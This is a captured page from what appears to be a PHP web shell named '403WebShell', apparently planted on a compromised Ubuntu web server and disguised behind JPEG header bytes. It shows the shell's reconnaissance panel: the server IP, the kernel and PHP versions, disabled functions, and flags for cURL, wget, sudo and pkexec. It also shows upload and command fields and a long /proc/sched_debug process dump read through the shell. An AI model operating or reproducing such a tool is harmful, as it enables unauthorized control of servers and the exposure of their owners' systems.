����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 74.208.127.88  /  Your IP : 18.222.124.172
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/root/proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/proc//sched_debug
Sched Debug Version: v0.11, 5.4.0-163-generic #180-Ubuntu
ktime                                   : 15513693664.608334
sched_clk                               : 15512972135.106225
cpu_clk                                 : 15512972129.520578
jiffies                                 : 8173315689
sched_clock_stable()                    : 1

sysctl_sched
  .sysctl_sched_latency                    : 18.000000
  .sysctl_sched_min_granularity            : 2.250000
  .sysctl_sched_wakeup_granularity         : 3.000000
  .sysctl_sched_child_runs_first           : 0
  .sysctl_sched_features                   : 2042683
  .sysctl_sched_tunable_scaling            : 1 (logarithmic)

cpu#0, 1996.249 MHz
  .nr_running                    : 0
  .nr_switches                   : 1561511482
  .nr_load_updates               : 0
  .nr_uninterruptible            : 3572
  .next_balance                  : 8173.315680
  .curr->pid                     : 0
  .clock                         : 15512972102.944144
  .clock_task                    : 15512972102.944144
  .avg_idle                      : 1000000
  .max_idle_balance_cost         : 500000

cfs_rq[0]:/system.slice/mysql.service
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 3183418.307605
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : -32407145.418589
  .nr_spread_over                : 0
  .nr_running                    : 0
  .load                          : 0
  .runnable_weight               : 0
  .load_avg                      : 0
  .runnable_load_avg             : 0
  .util_avg                      : 0
  .util_est_enqueued             : 0
  .removed.load_avg              : 0
  .removed.util_avg              : 0
  .removed.runnable_sum          : 0
  .tg_load_avg_contrib           : 0
  .tg_load_avg                   : 4
  .throttled                     : 0
  .throttle_count                : 0
  .se->exec_start                : 15512972058.697941
  .se->vruntime                  : 8666437.270733
  .se->sum_exec_runtime          : 4832989.937911
  .se->load.weight               : 2
  .se->runnable_weight           : 2
  .se->avg.load_avg              : 0
  .se->avg.util_avg              : 0
  .se->avg.runnable_load_avg     : 0

cfs_rq[0]:/system.slice/apache2.service
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 2453711.992549
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : -33136851.733645
  .nr_spread_over                : 0
  .nr_running                    : 0
  .load                          : 0
  .runnable_weight               : 0
  .load_avg                      : 0
  .runnable_load_avg             : 0
  .util_avg                      : 0
  .util_est_enqueued             : 0
  .removed.load_avg              : 0
  .removed.util_avg              : 0
  .removed.runnable_sum          : 0
  .tg_load_avg_contrib           : 0
  .tg_load_avg                   : 3
  .throttled                     : 0
  .throttle_count                : 0
  .se->exec_start                : 15512971657.826426
  .se->vruntime                  : 8666428.137170
  .se->sum_exec_runtime          : 2901848.207778
  .se->load.weight               : 2
  .se->runnable_weight           : 2
  .se->avg.load_avg              : 0
  .se->avg.util_avg              : 0
  .se->avg.runnable_load_avg     : 0

cfs_rq[0]:/system.slice
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 8666437.270733
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : -26924126.455461
  .nr_spread_over                : 0
  .nr_running                    : 0
  .load                          : 0
  .runnable_weight               : 0
  .load_avg                      : 0
  .runnable_load_avg             : 0
  .util_avg                      : 0
  .util_est_enqueued             : 0
  .removed.load_avg              : 0
  .removed.util_avg              : 0
  .removed.runnable_sum          : 0
  .tg_load_avg_contrib           : 0
  .tg_load_avg                   : 5
  .throttled                     : 0
  .throttle_count                : 0
  .se->exec_start                : 15512972058.697941
  .se->vruntime                  : 35590563.726194
  .se->sum_exec_runtime          : 10121733.323346
  .se->load.weight               : 2
  .se->runnable_weight           : 2
  .se->avg.load_avg              : 0
  .se->avg.util_avg              : 0
  .se->avg.runnable_load_avg     : 0

cfs_rq[0]:/
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 35590563.726194
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : 0.000000
  .nr_spread_over                : 0
  .nr_running                    : 0
  .load                          : 0
  .runnable_weight               : 0
  .load_avg                      : 0
  .runnable_load_avg             : 0
  .util_avg                      : 0
  .util_est_enqueued             : 0
  .removed.load_avg              : 0
  .removed.util_avg              : 0
  .removed.runnable_sum          : 0
  .tg_load_avg_contrib           : 0
  .tg_load_avg                   : 0
  .throttled                     : 0
  .throttle_count                : 0

rt_rq[0]:
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 950.000000

dl_rq[0]:
  .dl_nr_running                 : 0
  .dl_nr_migratory               : 0
  .dl_bw->bw                     : 996147
  .dl_bw->total_bw               : 0

runnable tasks:
 S           task   PID         tree-key  switches  prio     wait-time             sum-exec        sum-sleep
-----------------------------------------------------------------------------------------------------------
 I         rcu_gp     3       116.050386         2   100         0.000000         0.002995         0.000000 0 0 /
 I   kworker/0:0H     6      1287.628978         4   100         0.000000         0.033691         0.000000 0 0 /
 I   mm_percpu_wq     8       123.621072         2   100         0.000000         0.002574         0.000000 0 0 /
 S    ksoftirqd/0     9  35590440.280618    195381   120         0.000000      4096.875473         0.000000 0 0 /
 S    migration/0    11         0.000000   3915011     0         0.000000     50062.541583         0.000000 0 0 /
 S  idle_inject/0    12         0.000000         3    49         0.000000         0.005049         0.000000 0 0 /
 S        cpuhp/0    14      2751.967105        13   120         0.000000         0.195879         0.000000 0 0 /
 I             md    97       397.046068         2   100         0.000000         0.000000         0.000000 0 0 /
 Iacpi_thermal_pm   107       538.304122         2   100         0.000000         0.017802         0.000000 0 0 /
 S      scsi_eh_0   108       708.832557         4   120         0.000000         0.637655         0.000000 0 0 /
 Ivfio-irqfd-clea   113       553.513510         2   100         0.000000         0.025968         0.000000 0 0 /
 Icharger_manager   141       717.533296         2   100         0.000000         0.016000         0.000000 0 0 /
 S    jbd2/vda1-8   293  35590554.687793   7583640   120         0.000000    201666.502339         0.000000 0 0 /
 I   kworker/0:1H   353  35590554.548202   2127294   100         0.000000     31992.307839         0.000000 0 0 /
 I   kmpath_rdacd   495      3134.260181         2   100         0.000000         0.020378         0.000000 0 0 /
 Ikmpath_handlerd   497      3134.262804         2   100         0.000000         0.007714         0.000000 0 0 /
 S    dbus-daemon   693      1638.216332    202251   120         0.000000     29364.385426         0.000000 0 0 /system.slice/dbus.service
 S          gmain   707       -10.048576         1   120         0.000000         0.022091         0.000000 0 0 /system.slice/irqbalance.service
 S          gmain   708       -10.048576        66   120         0.000000         1.571549         0.000000 0 0 /system.slice/polkit.service
 S          gdbus   712        80.065363     12595   120         0.000000      1167.147680         0.000000 0 0 /system.slice/polkit.service
 S          gdbus   731     11824.505463      3732   120         0.000000       310.829684         0.000000 0 0 /system.slice/udisks2.service
 S            atd   727        20.255477      4318   120         0.000000       157.538901         0.000000 0 0 /system.slice/atd.service
 S          gmain   783       -10.048576         2   120         0.000000         0.074910         0.000000 0 0 /system.slice/ModemManager.service
 S         agetty   772       -10.048576        34   120         0.000000         3.812330         0.000000 0 0 /system.slice/system-serial\x2dgetty.slice
 S         agetty   776       -10.048576        29   120         0.000000        10.895304         0.000000 0 0 /system.slice/system-getty.slice
 Saccounts-daemon  7987     53640.643470      3389   120         0.000000       106.902896         0.000000 0 0 /system.slice/accounts-daemon.service
 S          gmain  7988     59672.252587  18467705   120         0.000000    815548.027661         0.000000 0 0 /system.slice/accounts-daemon.service
 S          gdbus  7990     53640.977827      3478   120         0.000000       346.081980         0.000000 0 0 /system.slice/accounts-daemon.service
 S     multipathd  8441         0.000000   3102403     0         0.000000     94950.187307         0.000000 0 0 /system.slice/multipathd.service
 Ssystemd-timesyn 13902      1812.960461    187574   120         0.000000     25252.442877         0.000000 0 0 /system.slice/systemd-timesyncd.service
 S       rsyslogd 19274     22051.125242     26307   120         0.000000      1098.657544         0.000000 0 0 /system.slice/rsyslog.service
 S    in:imuxsock 19275     22062.264247  11756243   120         0.000000    330431.407121         0.000000 0 0 /system.slice/rsyslog.service
 S      in:imklog 19276     22053.313529    146423   120         0.000000      9428.126700         0.000000 0 0 /system.slice/rsyslog.service
 S  rs:main Q:Reg 19277     22062.236704   9503378   120         0.000000    252980.258978         0.000000 0 0 /system.slice/rsyslog.service
 S     ib_io_rd-2 2225370   3183409.234959  14910286   120         0.000000    358807.351503         0.000000 0 0 /system.slice/mysql.service
 S     ib_io_rd-4 2225372   3183409.230360  14910230   120         0.000000    359201.033436         0.000000 0 0 /system.slice/mysql.service
 S     ib_io_wr-2 2225374   3183409.327483  14918320   120         0.000000    358627.910653         0.000000 0 0 /system.slice/mysql.service
 Sib_log_fl_notif 2225379   3183418.307605  74536030   120         0.000000   1855632.431366         0.000000 0 0 /system.slice/mysql.service
 S ib_srv_lock_to 2225388   3183409.311412   7455826   120         0.000000    211203.145213         0.000000 0 0 /system.slice/mysql.service
 S     ib_fts_opt 2225394   3183408.426441   1491256   120         0.000000     42027.845094         0.000000 0 0 /system.slice/mysql.service
 S   xpl_worker-1 2225395   3183405.093528    129052   120         0.000000      3109.722793         0.000000 0 0 /system.slice/mysql.service
 S    ib_buf_dump 2225401       -10.048576         1   120         0.000000         4.812616         0.000000 0 0 /system.slice/mysql.service
 S   ib_srv_wkr-1 2225404   3173219.289370     22005   120         0.000000       588.445534         0.000000 0 0 /system.slice/mysql.service
 S    sig_handler 2225408       -10.048576         4   120         0.000000         0.049132         0.000000 0 0 /system.slice/mysql.service
 S   xpl_accept-2 2225409       -10.048576         1   120         0.000000         0.070643         0.000000 0 0 /system.slice/mysql.service
 S          snapd 2875941       -10.048576         1   120         0.000000         0.017863         0.000000 0 0 /system.slice/snapd.service
 S          snapd 2876101     26957.625304     85361   120         0.000000     19986.988197         0.000000 0 0 /system.slice/snapd.service
 S          snapd 2876111     26955.432799     98353   120         0.000000     24448.940849         0.000000 0 0 /system.slice/snapd.service
 S        apache2 3587256   2453710.097972   1752733   120         0.000000     68407.838305         0.000000 0 0 /system.slice/apache2.service
 S           sshd 3893148     62767.954103     21269   120         0.000000      3609.127115         0.000000 0 0 /system.slice/ssh.service
 I    kworker/0:1 3920370  35590554.470351      4711   120         0.000000       105.820980         0.000000 0 0 /
 I    kworker/0:2 3920693  35586205.607765         3   120         0.000000         0.034195         0.000000 0 0 /
 I kworker/u256:1 3920738  35590554.434012       147   120         0.000000         6.472677         0.000000 0 0 /

cpu#1, 1996.249 MHz
  .nr_running                    : 0
  .nr_switches                   : 1538121280
  .nr_load_updates               : 0
  .nr_uninterruptible            : -5802
  .next_balance                  : 8173.315577
  .curr->pid                     : 0
  .clock                         : 15512972102.945737
  .clock_task                    : 15512972102.945737
  .avg_idle                      : 1000000
  .max_idle_balance_cost         : 500000

cfs_rq[1]:/system.slice/mysql.service
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 3104022.802248
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : -32486540.923946
  .nr_spread_over                : 0
  .nr_running                    : 0
  .load                          : 0
  .runnable_weight               : 0
  .load_avg                      : 1
  .runnable_load_avg             : 0
  .util_avg                      : 1
  .util_est_enqueued             : 0
  .removed.load_avg              : 0
  .removed.util_avg              : 0
  .removed.runnable_sum          : 0
  .tg_load_avg_contrib           : 1
  .tg_load_avg                   : 4
  .throttled                     : 0
  .throttle_count                : 0
  .se->exec_start                : 15512972070.189914
  .se->vruntime                  : 8677163.353084
  .se->sum_exec_runtime          : 4756133.745932
  .se->load.weight               : 262144
  .se->runnable_weight           : 2
  .se->avg.load_avg              : 0
  .se->avg.util_avg              : 1
  .se->avg.runnable_load_avg     : 0

cfs_rq[1]:/system.slice
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 8677163.353084
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : -26913400.373110
  .nr_spread_over                : 0
  .nr_running                    : 0
  .load                          : 0
  .runnable_weight               : 0
  .load_avg                      : 0
  .runnable_load_avg             : 0
  .util_avg                      : 1
  .util_est_enqueued             : 0
  .removed.load_avg              : 0
  .removed.util_avg              : 0
  .removed.runnable_sum          : 0
  .tg_load_avg_contrib           : 0
  .tg_load_avg                   : 5
  .throttled                     : 0
  .throttle_count                : 0
  .se->exec_start                : 15512972070.189914
  .se->vruntime                  : 34792801.670275
  .se->sum_exec_runtime          : 10170635.534096
  .se->load.weight               : 2
  .se->runnable_weight           : 2
  .se->avg.load_avg              : 0
  .se->avg.util_avg              : 1
  .se->avg.runnable_load_avg     : 0

cfs_rq[1]:/
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 34792801.670275
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : -797762.055919
  .nr_spread_over                : 0
  .nr_running                    : 0
  .load                          : 0
  .runnable_weight               : 0
  .load_avg                      : 0
  .runnable_load_avg             : 0
  .util_avg                      : 1
  .util_est_enqueued             : 0
  .removed.load_avg              : 0
  .removed.util_avg              : 0
  .removed.runnable_sum          : 0
  .tg_load_avg_contrib           : 0
  .tg_load_avg                   : 0
  .throttled                     : 0
  .throttle_count                : 0

rt_rq[1]:
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.046017
  .rt_runtime                    : 950.000000

dl_rq[1]:
  .dl_nr_running                 : 0
  .dl_nr_migratory               : 0
  .dl_bw->bw                     : 996147
  .dl_bw->total_bw               : 0

runnable tasks:
 S           task   PID         tree-key  switches  prio     wait-time             sum-exec        sum-sleep
-----------------------------------------------------------------------------------------------------------
 S        systemd     1     48599.898233   4289331   120         0.000000    588019.016662         0.000000 0 0 /init.scope
 I     rcu_par_gp     4  24108198.975503        10   100         0.000000        21.663001         0.000000 0 0 /
 S        cpuhp/1    15      2969.691962        13   120         0.000000         0.621366         0.000000 0 0 /
 S  idle_inject/1    16        -2.994510         3    49         0.000000         0.010019         0.000000 0 0 /
 S    migration/1    17         0.000000   3914721     0         0.000000     47399.825953         0.000000 0 0 /
 S    ksoftirqd/1    18  34792590.576433    109271   120         0.000000      2908.355165         0.000000 0 0 /
 I   kworker/1:0H    20       941.162642         5   100         0.000000         0.035547         0.000000 0 0 /
 S        kauditd    36  23339226.405889       235   120         0.000000         6.040530         0.000000 0 0 /
 S     khungtaskd    40  34792730.015264    128392   120         0.000000      6251.643957         0.000000 0 0 /
 I     tpm_dev_wq    95        34.962784         2   100         0.000000         0.011361         0.000000 0 0 /
 I     devfreq_wq    99        43.962779         2   100         0.000000         0.000000         0.000000 0 0 /
 S      scsi_eh_1   110       243.346142         4   120         0.000000         0.418465         0.000000 0 0 /
 I     scsi_tmf_1   111       143.203972         2   100         0.000000         0.016862         0.000000 0 0 /
 I          kstrp   124       231.448439         2   100         0.000000         0.016430         0.000000 0 0 /
 I        raid5wq   253       743.512725         2   100         0.000000         0.023584         0.000000 0 0 /
 I   kworker/1:1H   396  34792792.316203   4401204   100         0.000000     52009.590968         0.000000 0 0 /
 S        polkitd   704        77.639829     12195   120         0.000000       638.471523         0.000000 0 0 /system.slice/polkit.service
 S systemd-logind   711      1555.146646    312507   120         0.000000     24890.577224         0.000000 0 0 /system.slice/systemd-logind.service
 S probing-thread   764      9684.839400        68   120         0.000000         1.451870         0.000000 0 0 /system.slice/udisks2.service
 S        cleanup   792      9684.857044        89   120         0.000000         4.073326         0.000000 0 0 /system.slice/udisks2.service
 Sunattended-upgr   799       -10.048576        53   120         0.000000        79.883699         0.000000 0 0 /system.slice/unattended-upgrades.service
 S  systemd-udevd  7588     59423.976026    854116   120         0.000000    123965.509681         0.000000 0 0 /system.slice/systemd-udevd.service
 S          uuidd  7743       -10.048576        49   120         0.000000        57.056738         0.000000 0 0 /system.slice/uuidd.service
 S     multipathd  8442         0.000000         1     0         0.000000         0.398116         0.000000 0 0 /system.slice/multipathd.service
 S     multipathd  8444         0.000000  15511359     0         0.000000    628977.506696         0.000000 0 0 /system.slice/multipathd.service
 S     multipathd  8446         0.000000        16     0         0.000000         0.385376         0.000000 0 0 /system.slice/multipathd.service
 Ssystemd-journal 13794    147246.348694   9677768   119         0.000000   2543352.736736         0.000000 0 0 /system.slice/systemd-journald.service
 I       xfsalloc 35757     67512.123699         2   100         0.000000         0.022192         0.000000 0 0 /
 I  xfs_mru_cache 35758     67521.147883         2   100         0.000000         0.026319         0.000000 0 0 /
 S           none 41305  32808660.392695       976   120         0.000000        10.209777         0.000000 0 0 /
 S     ib_io_wr-4 2225376   3104013.820863  14918296   120         0.000000    361453.055984         0.000000 0 0 /system.slice/mysql.service
 S ib_pg_flush_co 2225377   3104013.639011   7470779   120         0.000000    260837.578932         0.000000 0 0 /system.slice/mysql.service
 Sib_log_wr_notif 2225381   3104020.633786  74531621   120         0.000000   1845808.929634         0.000000 0 0 /system.slice/mysql.service
 S     ib_srv_mon 2225390   3104011.786555    497132   120         0.000000     15139.029055         0.000000 0 0 /system.slice/mysql.service
 S   xpl_accept-1 2225397   3104013.814792   7733000   120         0.000000    261936.218159         0.000000 0 0 /system.slice/mysql.service
 S  ib_clone_gtid 2225402   3104022.802248  74500930   120         0.000000   2331657.938163         0.000000 0 0 /system.slice/mysql.service
 S   ib_srv_purge 2225403   3095405.293292     54244   120         0.000000      1766.578031         0.000000 0 0 /system.slice/mysql.service
 S   ib_srv_wkr-2 2225405   3095402.414286     19994   120         0.000000       403.236931         0.000000 0 0 /system.slice/mysql.service
 S   ib_srv_wkr-3 2225406   3095401.694926     18798   120         0.000000       346.873515         0.000000 0 0 /system.slice/mysql.service
 S     connection 3587612   3103855.808846     40339   120         0.000000      6693.296920         0.000000 0 0 /system.slice/mysql.service
 S          snapd 2875928       -10.048576       460   120         0.000000       658.675373         0.000000 0 0 /system.slice/snapd.service
 S          snapd 2875937     27374.949716   1417758   120         0.000000     16963.614730         0.000000 0 0 /system.slice/snapd.service
 S          snapd 2875939     27383.923987     98404   120         0.000000     23214.357351         0.000000 0 0 /system.slice/snapd.service
 S          snapd 2875944     27368.841898    105317   120         0.000000     25380.319902         0.000000 0 0 /system.slice/snapd.service
 I    kworker/1:0 3918277  34792783.988456      9838   120         0.000000       249.753117         0.000000 0 0 /
 I    kworker/1:2 3920697  34787951.564894         2   120         0.000000         0.041008         0.000000 0 0 /

cpu#2, 1996.249 MHz
  .nr_running                    : 0
  .nr_switches                   : 1525322190
  .nr_load_updates               : 0
  .nr_uninterruptible            : 4982
  .next_balance                  : 8173.315689
  .curr->pid                     : 0
  .clock                         : 15512972129.150815
  .clock_task                    : 15512972129.150815
  .avg_idle                      : 879190
  .max_idle_balance_cost         : 500000

cfs_rq[2]:/system.slice/mysql.service
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 2926463.976437
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : -32664099.749757
  .nr_spread_over                : 0
  .nr_running                    : 0
  .load                          : 0
  .runnable_weight               : 0
  .load_avg                      : 3
  .runnable_load_avg             : 0
  .util_avg                      : 3
  .util_est_enqueued             : 0
  .removed.load_avg              : 0
  .removed.util_avg              : 0
  .removed.runnable_sum          : 0
  .tg_load_avg_contrib           : 3
  .tg_load_avg                   : 4
  .throttled                     : 0
  .throttle_count                : 0
  .se->exec_start                : 15512972124.753808
  .se->vruntime                  : 12806412.431279
  .se->sum_exec_runtime          : 4555246.406103
  .se->load.weight               : 786432
  .se->runnable_weight           : 2
  .se->avg.load_avg              : 2
  .se->avg.util_avg              : 3
  .se->avg.runnable_load_avg     : 0

cfs_rq[2]:/system.slice/systemd-resolved.service
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 366233.828974
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : -35224329.897220
  .nr_spread_over                : 0
  .nr_running                    : 0
  .load                          : 0
  .runnable_weight               : 0
  .load_avg                      : 0
  .runnable_load_avg             : 0
  .util_avg                      : 0
  .util_est_enqueued             : 0
  .removed.load_avg              : 0
  .removed.util_avg              : 0
  .removed.runnable_sum          : 0
  .tg_load_avg_contrib           : 0
  .tg_load_avg                   : 0
  .throttled                     : 0
  .throttle_count                : 0
  .se->exec_start                : 15512972129.150815
  .se->vruntime                  : 12806412.896555
  .se->sum_exec_runtime          : 366245.007132
  .se->load.weight               : 2
  .se->runnable_weight           : 2
  .se->avg.load_avg              : 0
  .se->avg.util_avg              : 0
  .se->avg.runnable_load_avg     : 0

cfs_rq[2]:/system.slice
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 12806413.536932
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : -22784150.189262
  .nr_spread_over                : 0
  .nr_running                    : 0
  .load                          : 0
  .runnable_weight               : 0
  .load_avg                      : 2
  .runnable_load_avg             : 0
  .util_avg                      : 4
  .util_est_enqueued             : 0
  .removed.load_avg              : 0
  .removed.util_avg              : 0
  .removed.runnable_sum          : 0
  .tg_load_avg_contrib           : 2
  .tg_load_avg                   : 5
  .throttled                     : 0
  .throttle_count                : 0
  .se->exec_start                : 15512972129.150815
  .se->vruntime                  : 42297913.421192
  .se->sum_exec_runtime          : 15104626.761163
  .se->load.weight               : 419430
  .se->runnable_weight           : 2
  .se->avg.load_avg              : 3
  .se->avg.util_avg              : 4
  .se->avg.runnable_load_avg     : 0

cfs_rq[2]:/
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 42297913.421192
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : 6707349.694998
  .nr_spread_over                : 0
  .nr_running                    : 0
  .load                          : 0
  .runnable_weight               : 0
  .load_avg                      : 6
  .runnable_load_avg             : 0
  .util_avg                      : 5
  .util_est_enqueued             : 0
  .removed.load_avg              : 0
  .removed.util_avg              : 0
  .removed.runnable_sum          : 0
  .tg_load_avg_contrib           : 0
  .tg_load_avg                   : 0
  .throttled                     : 0
  .throttle_count                : 0

rt_rq[2]:
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 950.000000

dl_rq[2]:
  .dl_nr_running                 : 0
  .dl_nr_migratory               : 0
  .dl_bw->bw                     : 996147
  .dl_bw->total_bw               : 0

runnable tasks:
 S           task   PID         tree-key  switches  prio     wait-time             sum-exec        sum-sleep
-----------------------------------------------------------------------------------------------------------
 I      rcu_sched    10  42297904.268955  71216103   120         0.000000    744914.913109         0.000000 0 0 /
 S        cpuhp/2    21      2385.954387        13   120         0.000000         0.706005         0.000000 0 0 /
 S  idle_inject/2    22        -5.996193         3    49         0.000000         0.005159         0.000000 0 0 /
 S    migration/2    23       168.135131   3915238     0         0.000000     46628.172009         0.000000 0 0 /
 S    ksoftirqd/2    24  42297787.604250    899547   120         0.000000     22770.217105         0.000000 0 0 /
 I   kworker/2:0H    26      1255.437021         5   100         0.000000         0.030065         0.000000 0 0 /
 I          netns    34        16.965308         2   100         0.000000         0.005300         0.000000 0 0 /
 S     kcompactd0    43        25.965303         2   120         0.000000         0.000000         0.000000 0 0 /
 S           ksmd    44        25.970483         2   125         0.000000         0.005180         0.000000 0 0 /
 S     khugepaged    45        34.970478         2   139         0.000000         0.000000         0.000000 0 0 /
 I    kintegrityd    92        64.433159         2   100         0.000000         0.004078         0.000000 0 0 /
 I blkcg_punt_bio    94        73.433154         2   100         0.000000         0.000000         0.000000 0 0 /
 I    edac-poller    98        73.433154         2   100         0.000000         0.000000         0.000000 0 0 /
 I     scsi_tmf_0   109        91.516547         2   100         0.000000         0.019917         0.000000 0 0 /
 I kworker/u257:0   128       131.958548         2   100         0.000000         0.016611         0.000000 0 0 /
 Iext4-rsv-conver   294      1122.235795         2   100         0.000000         0.009558         0.000000 0 0 /
 I   kworker/2:1H   402  42297903.542733   1821119   100         0.000000     27713.705600         0.000000 0 0 /
 I         kaluad   494      2849.215120         2   100         0.000000         0.027942         0.000000 0 0 /
 S        udisksd   721     15501.444748     56270   120         0.000000      4280.604372         0.000000 0 0 /system.slice/udisks2.service
 S          gmain   729     14527.492737       802   120         0.000000        15.315759         0.000000 0 0 /system.slice/udisks2.service
 S   ModemManager   769        18.868285      5693   120         0.000000       352.789407         0.000000 0 0 /system.slice/ModemManager.service
 S     multipathd  8443         0.000000    517114     0         0.000000     14661.608315         0.000000 0 0 /system.slice/multipathd.service
 Ssystemd-network 13768     31278.990511    426995   120         0.000000     69940.894531         0.000000 0 0 /system.slice/systemd-networkd.service
 Ssystemd-resolve 13781    366233.828974   6111664   120         0.000000   1218677.410508         0.000000 0 0 /system.slice/systemd-resolved.service
 S     sd-resolve 13915       341.748655         8   120         0.000000         0.906832         0.000000 0 0 /system.slice/systemd-timesyncd.service
 S         mysqld 2225365   2926301.524881     56323   120         0.000000      3367.825748         0.000000 0 0 /system.slice/mysql.service
 S     ib_io_ibuf 2225368   2926453.918590  14910191   120         0.000000    358715.206515         0.000000 0 0 /system.slice/mysql.service
 S   ib_log_flush 2225380   2926454.987748  74559077   120         0.000000   1836585.856016         0.000000 0 0 /system.slice/mysql.service
 S ib_log_files_g 2225383   2926463.976437 738896278   120         0.000000  17947788.741057         0.000000 0 0 /system.slice/mysql.service
 S ib_srv_err_mon 2225389   2926453.155620   7455912   120         0.000000    213399.833918         0.000000 0 0 /system.slice/mysql.service
 S  ib_buf_resize 2225391       -10.048576         1   120         0.000000         0.041979         0.000000 0 0 /system.slice/mysql.service
 S    ib_src_main 2225392   2926454.528525   7462849   120         0.000000    583970.220911         0.000000 0 0 /system.slice/mysql.service
 S  ib_dict_stats 2225393   2926437.939835    745965   120         0.000000     18809.975835         0.000000 0 0 /system.slice/mysql.service
 S   xpl_worker-2 2225396   2926430.290756    129242   120         0.000000      3108.468253         0.000000 0 0 /system.slice/mysql.service
 S       gtid_zip 2225411       -10.048576         2   120         0.000000         0.114264         0.000000 0 0 /system.slice/mysql.service
 S     connection 3571624   2926185.639830     69823   120         0.000000     10904.632631         0.000000 0 0 /system.slice/mysql.service
 S     connection 3583167   2926113.519774     58152   120         0.000000      9584.442862         0.000000 0 0 /system.slice/mysql.service
